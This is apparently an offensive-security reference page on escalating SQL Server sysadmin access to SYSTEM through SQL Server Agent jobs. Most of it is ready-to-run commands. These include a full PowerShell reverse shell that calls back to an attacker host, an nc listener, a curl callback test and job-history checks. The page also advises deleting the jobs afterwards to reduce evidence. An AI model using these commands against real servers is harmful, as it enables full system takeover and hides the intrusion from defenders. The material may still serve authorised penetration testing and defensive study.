# MSSQL to SYSTEM via SQL Server Agent Jobs

- **URL:** https://hackindex.io/services/mssql/privilege-escalation/mssql-to-system-via-agent-jobs
- **Path:** MSSQL > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/services/mssql/privilege-escalation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

SQL Server Agent is a job scheduling service that runs as NT AUTHORITY\SYSTEM by default. Sysadmin logins can create Agent jobs with CmdExec job steps that execute arbitrary OS commands under that SYSTEM context. This is the standard path from SQL sysadmin access to full OS control when xp_cmdshell is blocked or monitored.

The SQL Server Agent service must be running for this to work. If the service is stopped, this path is unavailable but xp_cmdshell and Ole Automation remain as alternatives.

Requirements for Agent job escalation:

- Sysadmin role on the SQL Server instance
- SQL Server Agent service running (STATE 4)
- CmdExec subsystem for OS command execution as SYSTEM

## Check Agent Service Status

Confirm the SQL Server Agent service is running before creating jobs:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
EXEC xp_cmdshell 'sc query SQLServerAgent';
# STATE              : 4  RUNNING
```

STATE 4 RUNNING confirms the Agent service is active. If it shows STOPPED, attempt to start it if you have the permissions, otherwise fall back to xp_cmdshell.

## Create and Execute an Agent Job

Create a job with a CmdExec step and run it immediately. Use a callback first to confirm SYSTEM execution before sending a reverse shell:

```bash
nc -lvnp $LPORT
```

```sql
USE msdb; EXEC sp_add_job @job_name = 'pwn'; EXEC sp_add_jobstep @job_name = 'pwn', @step_name = 'exec', @subsystem = 'CmdExec', @command = 'powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient(''$LHOST'',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+''PS ''+(pwd).Path+''> '';$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"'; EXEC sp_add_jobserver @job_name = 'pwn'; EXEC sp_start_job 'pwn';
```

The job executes asynchronously. Give it a few seconds before checking the listener. The connection arrives from the SQL Server Agent service context which is NT AUTHORITY\SYSTEM.

## Check Job Execution Status

If the reverse shell does not connect, check the job history for error output:

```sql
SELECT j.name, h.step_name, h.message, h.run_status FROM msdb.dbo.sysjobhistory h JOIN msdb.dbo.sysjobs j ON h.job_id = j.job_id WHERE j.name = 'pwn' ORDER BY h.instance_id DESC;
```

run_status 0 means the step failed. The message field contains the error output from the CmdExec step. Common failures are PowerShell execution policy blocks and network egress restrictions. Try a simpler callback first to confirm outbound connectivity:

```sql
USE msdb; EXEC sp_add_job @job_name = 'test_cb'; EXEC sp_add_jobstep @job_name = 'test_cb', @step_name = 'cb', @subsystem = 'CmdExec', @command = 'cmd /c curl http://$LHOST:$LPORT/agent-test'; EXEC sp_add_jobserver @job_name = 'test_cb'; EXEC sp_start_job 'test_cb';
```

## Clean Up Jobs After Use

Remove the created jobs after getting a shell to reduce evidence of the technique:

```sql
USE msdb; EXEC sp_delete_job @job_name = 'pwn'; EXEC sp_delete_job @job_name = 'test_cb';
```

## References

- [Microsoft: SQL Server Agent Jobs](https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-job) - sp_add_job, sp_add_jobstep, and sp_start_job procedure reference
